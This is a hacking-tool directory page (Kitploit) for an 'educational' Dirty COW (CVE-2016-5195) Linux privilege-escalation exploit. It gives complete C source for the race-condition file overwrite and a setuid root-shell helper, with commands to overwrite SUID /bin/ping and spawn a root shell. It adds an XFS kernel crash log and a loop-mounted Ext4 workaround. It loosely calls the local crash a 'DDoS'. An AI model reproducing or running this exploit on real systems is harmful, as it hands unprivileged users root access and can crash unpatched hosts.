Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/kongqbin/cve-2016-5195
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubkongqbin/cve-2016-5195

CVE-2016-5195

Educational implementation of the Dirty COW (CVE-2016-5195) privilege escalation exploit, including race condition payload and SUID-based root shell escalation for Linux systems.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

This record is for learning purposes only; any illegal use is prohibited.

Principle

The vulnerability works by concurrently flushing dirty pages, causing the content of a file that was originally read-only to be modified. If the modified file is owned by root and has the SUID permission, it can be used for privilege escalation.

Affected Scope

  • Kernels compiled before October 2016 with versions between 2.6.22 and 4.8.3, because kernels after October 2016 have most likely been patched.
  • The file system must be Ext. If it is an XFS file system, the XFS read-only page assertion will be triggered, causing the system to reboot and turning this into a DDoS attack.

Tool Code (dirtycow_file_payload.c)

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

// Used to store the Payload content and size read from the file
char *payload_buf;
size_t payload_size;

// Thread B: continuously calls madvise to tell the kernel to discard this memory page
void *madviseThread(void *arg) {
	int i, c = 0;
	for(i = 0; i < 10000000; i++) {
		c += madvise(map, payload_size, MADV_DONTNEED);
	}
	printf("[-] madvise thread finished\n");
	return NULL;
}

// Thread A: continuously writes data to the read-only mapping via /proc/self/mem
void *procselfmemThread(void *arg) {
	int f = open("/proc/self/mem", O_RDWR);
	int i, c = 0;
	for(i = 0; i < 10000000; i++) {
		lseek(f, (uintptr_t) map, SEEK_SET);
		// Write the in-memory Payload buffer
		c += write(f, payload_buf, payload_size);
	}
	printf("[-] /proc/self/mem thread finished\n");
	return NULL;
}

int main(int argc, char *argv[]) {
	if (argc < 3) {
		printf("Usage: %s <read-only target file> <Payload input file>\n", argv[0]);
		return 1;
	}

	name = argv[1];
	char *payload_file = argv[2];

    // Open and read the Payload file content into memory
	int pf = open(payload_file, O_RDONLY);
	if (pf < 0) {
		perror("Failed to open Payload file");
		return 1;
	}
	struct stat pst;
	fstat(pf, &pst);
	payload_size = pst.st_size;

	if (payload_size == 0) {
		printf("[!] Payload file is empty\n");
		return 1;
	}

	payload_buf = malloc(payload_size);
	if (read(pf, payload_buf, payload_size) != payload_size) {
		perror("Failed to read Payload file");
		return 1;
	}
	close(pf);
	printf("[*] Successfully loaded Payload file: %s (size: %zu bytes)\n", payload_file, payload_size);

    // Map the target file
	f = open(name, O_RDONLY);
	if (f < 0) {
		perror("Failed to open target file");
		return 1;
	}
	fstat(f, &st);

	// Prevent Payload length from exceeding target file length
	if (payload_size > st.st_size) {
		printf("[!] Warning: Payload size (%zu) is larger than target file size (%zu).\n", payload_size, st.st_size);
		printf("[!] Due to Dirty COW's in-place overwrite behavior, the portion exceeding the target file size will be truncated and discarded by the file system!\n");
	}

	map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
	printf("[*] Target file mapping address: %p\n", map);

    // Start the race condition
	pthread_t pth1, pth2;
	printf("[*] Starting race condition...\n");
	pthread_create(&pth1, NULL, madviseThread, NULL);
	pthread_create(&pth2, NULL, procselfmemThread, NULL);

	pthread_join(pth1, NULL);
	pthread_join(pth2, NULL);

	printf("[*] Race finished, please check the content of %s.\n", name);
	free(payload_buf);
	return 0;
}

Privilege Escalation Code (up.c)

root@kitploit:~
#include <unistd.h>
int main() {
	// Restore root identity
	setuid(0);
	setgid(0);
	// Spawn a root bash
	execl("/bin/bash", "bash", NULL);
	return 0;
}

Compilation and Usage Steps (EXT)

root@kitploit:~
gcc -o d dirtycow_file_payload.c -lpthread
gcc -o up up.c
# Back up the original ping in your own environment
cp /bin/ping ./ping
# Perform privilege escalation
./d /bin/ping ./up
# A root user command-line terminal prompt will appear afterwards

The above steps will successfully escalate privileges on distributions that use the Ext file system by default, such as Ubuntu and Debian, because the Ext file system has more lenient read/write permission checks for dirty pages. On Red Hat family distributions, which use the XFS file system by default, this becomes a DDoS attack, triggering the dirty page assertion and causing the system to reboot. Crash image OCR overview:

root@kitploit:~
[ 0.000000] Detected CPU family 6 model 94
[ 0.000000] Warning: Intel CPU model - this hardware has not undergone upstre
am testing. Please consult http://wiki.centos.org/FAQ for more information
[ 8.4818041 mce: Unable to init device /dev/mcelog (rc: -5)hrough
[ 2.547101] sd 2:0:8:8: [sda] Assuming drive cache: write through
systemd-fsck[336]: /sbin/fsck.xfs: XFS file system.
kdumm: dump target is /dew/mapper/centos-roo
kdump: saving to /sysroot//var/crash/127.0.8.1-2826.08.26-16:11:03/
kdump: saving umcore-dmesg.txt
kdumm: saving vmcore-dmesg.txt
kdump: saving vmcore
Excluding unnecessary pages

Detailed log:

root@kitploit:~
[ 6212.157286] ------------[ cut here ]------------
[ 6212.157291] kernel BUG at fs/xfs/xfs_aops.c:1031!
[ 6212.157292] invalid opcode: 0000 [#1] SMP 
[ 6212.157294] Modules linked in: tcp_lp nls_utf8 isofs bnep bluetooth rfkill fuse ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev snd_ens1371 snd_rawmidi snd_ac97_codec ac97_bus snd_seq snd_seq_device aesni_intel lrw gf128mul glue_helper ablk_helper cryptd snd_pcm vmw_balloon serio_raw pcspkr snd_timer snd soundcore vmw_vmci i2c_piix4 shpchp parport_pc parport uinput xfs libcrc32c sr_mod
[ 6212.157307]  cdrom ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common vmwgfx drm_kms_helper ttm ata_piix drm e1000 mptspi scsi_transport_spi i2c_core mptscsih mptbase libata dm_mirror dm_region_hash dm_log dm_mod
[ 6212.157313] CPU: 0 PID: 6231 Comm: kworker/u256:2 Not tainted 3.10.0-229.el7.x86_64 #1
[ 6212.157314] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/05/2016
[ 6212.157321] Workqueue: writeback bdi_writeback_workfn (flush-253:0)
[ 6212.157323] task: ffff8800456ead80 ti: ffff88003dd60000 task.ti: ffff88003dd60000
[ 6212.157324] RIP: 0010:[<ffffffffa01dc8e3>]  [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157346] RSP: 0018:ffff88003dd63948  EFLAGS: 00010246
[ 6212.157347] RAX: 001fffff0002006d RBX: ffff880077aceee8 RCX: 000000000000000c
[ 6212.157347] RDX: 0000000000000000 RSI: ffffea00001057c0 RDI: ffffea00001057c0
[ 6212.157348] RBP: ffff88003dd639f0 R08: fffffffffffffffd R09: 0000000000016978
[ 6212.157349] R10: 0000000000000000 R11: 000000000000000b R12: ffff880077aceee8
[ 6212.157349] R13: ffff88003dd63c40 R14: ffff880077aced98 R15: ffffea00001057c0
[ 6212.157350] FS:  0000000000000000(0000) GS:ffff88007c600000(0000) knlGS:0000000000000000
[ 6212.157351] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6212.157352] CR2: 00007f46c2083000 CR3: 0000000042ccb000 CR4: 00000000003407f0
[ 6212.157385] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 6212.157403] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 6212.157403] Stack:
[ 6212.157404]  000000000000af60 ffff880036142e00 ffff88003dd63c40 ffff88003dd63a68
[ 6212.157405]  ffff88003dd63a80 ffffea00001057c0 0000000000001000 0000000000001000
[ 6212.157406]  ffff88003dd639f0 ffffffff81157091 0000000000000000 ffff880077aceef0
[ 6212.157407] Call Trace:
[ 6212.157412]  [<ffffffff81157091>] ? find_get_pages_tag+0xe1/0x1a0
[ 6212.157414]  [<ffffffff811610c3>] __writepage+0x13/0x50
[ 6212.157415]  [<ffffffff81161be1>] write_cache_pages+0x251/0x4d0
[ 6212.157425]  [<ffffffff811610b0>] ? global_dirtyable_memory+0x70/0x70
[ 6212.157427]  [<ffffffff81161ead>] generic_writepages+0x4d/0x80
[ 6212.157435]  [<ffffffffa01dbec3>] xfs_vm_writepages+0x43/0x50 [xfs]
[ 6212.157437]  [<ffffffff81162f5e>] do_writepages+0x1e/0x40
[ 6212.157439]  [<ffffffff811f04e0>] __writeback_single_inode+0x40/0x220
[ 6212.157440]  [<ffffffff811f11de>] writeback_sb_inodes+0x25e/0x420
[ 6212.157441]  [<ffffffff811f143f>] __writeback_inodes_wb+0x9f/0xd0
[ 6212.157443]  [<ffffffff811f1c83>] wb_writeback+0x263/0x2f0
[ 6212.157445]  [<ffffffff811e094c>] ? get_nr_inodes+0x4c/0x70
[ 6212.157446]  [<ffffffff811f32cb>] bdi_writeback_workfn+0x2cb/0x460
[ 6212.157449]  [<ffffffff8108f1db>] process_one_work+0x17b/0x470
[ 6212.157450]  [<ffffffff8108ffbb>] worker_thread+0x11b/0x400
[ 6212.157451]  [<ffffffff8108fea0>] ? rescuer_thread+0x400/0x400
[ 6212.157452]  [<ffffffff8109739f>] kthread+0xcf/0xe0
[ 6212.157454]  [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157456]  [<ffffffff8161497c>] ret_from_fork+0x7c/0xb0
[ 6212.157458]  [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157458] Code: df e8 02 a4 f7 e0 8b 45 a4 e9 6f fb ff ff 48 89 df e8 f2 d6 01 e1 44 8b 9d 74 ff ff ff 44 8b 4d a0 e9 c5 fe ff ff e8 5d 18 e9 e0 <0f> 0b 41 b9 01 00 00 00 e9 89 fe ff ff 80 3d ce bb 09 00 00 0f 
[ 6212.157469] RIP  [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157474]  RSP <ffff88003dd63948>

Compilation and Usage Steps (XFS)

If you really only have a Red Hat family environment (e.g., CentOS 7) and still want to try it, you can manually create an Ext file system to simulate the privilege escalation.

root@kitploit:~
# Create a 32MB zero-filled file (as a virtual disk)
dd if=/dev/zero of=/tmp/ext4_test.img bs=1M count=32
# Format this file as an Ext4 file system
mkfs.ext4 /tmp/ext4_test.img
# Create a mount point directory
mkdir -p /tmp/ext4_mount
# Mount the virtual disk file using a loop device to the directory (requires root privileges)
sudo mount -o loop /tmp/ext4_test.img /tmp/ext4_mount
# Verify whether the mount succeeded
df -T -h | grep ext4_mount

# Copy the ping program to the sandbox partition
sudo cp /bin/ping /tmp/ext4_mount/
# Set root ownership and SUID permission (4755 means rwsr-xr-x)
sudo chown root:root /tmp/ext4_mount/ping
sudo chmod 4755 /tmp/ext4_mount/ping
# Check whether the permissions were set correctly
ls -la /tmp/ext4_mount/ping

gcc -o ./d ./dirtycow_file_payload.c -lpthread
gcc -o ./up ./up.c -lpthread
./d /tmp/ext4_mount/ping ./up
# After the race finishes, execute the ping in the sandbox to spawn a root shell
/tmp/ext4_mount/ping

Cleanup logic is attached below

root@kitploit:~
# Unmount the partition
sudo umount /tmp/ext4_mount
# Delete the mount point and virtual disk file
rm -rf /tmp/ext4_mount
rm -f /tmp/ext4_test.img
Download Tool